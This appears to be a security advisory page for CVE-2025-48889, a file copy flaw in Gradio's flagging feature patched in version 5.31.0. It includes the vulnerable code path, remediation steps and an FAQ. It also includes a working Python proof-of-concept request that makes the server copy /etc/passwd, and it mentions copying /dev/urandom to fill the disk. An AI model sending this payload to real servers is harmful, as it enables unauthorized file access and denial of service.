CVE-2025-48889: Gradio Allows Unauthorized File Copy via Path Manipulation
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradioapi/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload Sink: shutil.copy operation in FileData.copytodir() method
The vulnerable code flow: 1. A JSON payload is sent to the /gradioapi/run/predict endpoint 2. The path field within FileData object can reference any file on the system 3. When processing this request, the Component.flag() method creates a GradioDataModel object 4. The FileData.copytodir() method uses this path without proper validation:
python def copytodir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(existok=True) newobj = dict(self)
if not self.path: raise ValueError("Source file path is not set") newname = shutil.copy(self.path, dir) # vulnerable sink newobj["path"] = newname return self.class(newobj) 5. The lack of validation allows copying any file the Gradio process can read
PoC The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:
Setup a Gradio app:
python import gradio as gr
def imageclassifier(inp): return {'cat': 0.2, 'dog': 0.8}
test = gr.Interface(fn=imageclassifier, inputs="image", outputs="label")
test.launch(share=True)
Run the PoC:
python import requests
url = "https://[your-gradio-app-url]/gradioapi/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36" }
payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "origname": "networkconfig", "size": 5000, "mimetype": "text/plain", "meta": { "type": "gradio.FileData" } }, {} ], "eventdata": None, "fnindex": 4, "triggerid": 11, "sessionhash": "test123" }
response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.statuscode}") print(f"Response Body: {response.text}")
Other sources
Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Prior to version 5.31.0, an arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. This issue has been patched in version 5.31.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/gradioto a version that resolves this vulnerability.Fixed in 5.31.0 - Upgrade
Upgrade
Gradioto a version that resolves this vulnerability.Fixed in 5.31.0
Event History
Frequently Asked Questions
What is the severity of CVE-2025-48889?
CVE-2025-48889 is considered a high-severity vulnerability due to its potential for denial of service.
How do I fix CVE-2025-48889?
To fix CVE-2025-48889, update Gradio to version 5.31.0 or later.
What types of attacks can be performed using CVE-2025-48889?
CVE-2025-48889 allows unauthenticated attackers to perform arbitrary file copy operations, potentially leading to a denial of service.
Can I read the files copied using CVE-2025-48889?
No, while files can be copied using CVE-2025-48889, attackers cannot read the contents of the copied files.
What consequences can arise from CVE-2025-48889?
The primary consequence of CVE-2025-48889 is disk space exhaustion, which can lead to denial of service.